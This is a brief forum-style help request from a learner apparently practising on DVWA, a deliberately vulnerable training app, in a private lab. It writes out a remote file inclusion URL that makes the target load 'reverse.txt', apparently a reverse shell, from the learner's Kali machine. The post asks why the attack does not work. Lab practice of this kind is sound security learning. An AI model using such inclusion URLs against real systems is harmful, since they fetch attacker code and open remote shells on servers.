Vashisht,

This is the exact URL I used – http://10.0.2.7/dvwa/vulnerabilities/fi/?page=http:/10.0.2.6/reverse.txt

kali machine is on 10.0.2.6, with apach2 server started. dvwa is on 10.0.2.7. reverse.txt file is in /var/www/html directory. Dvwa set to “low” security. Thanks in advance for your help. Have not had any luck finding the solution searching the web.
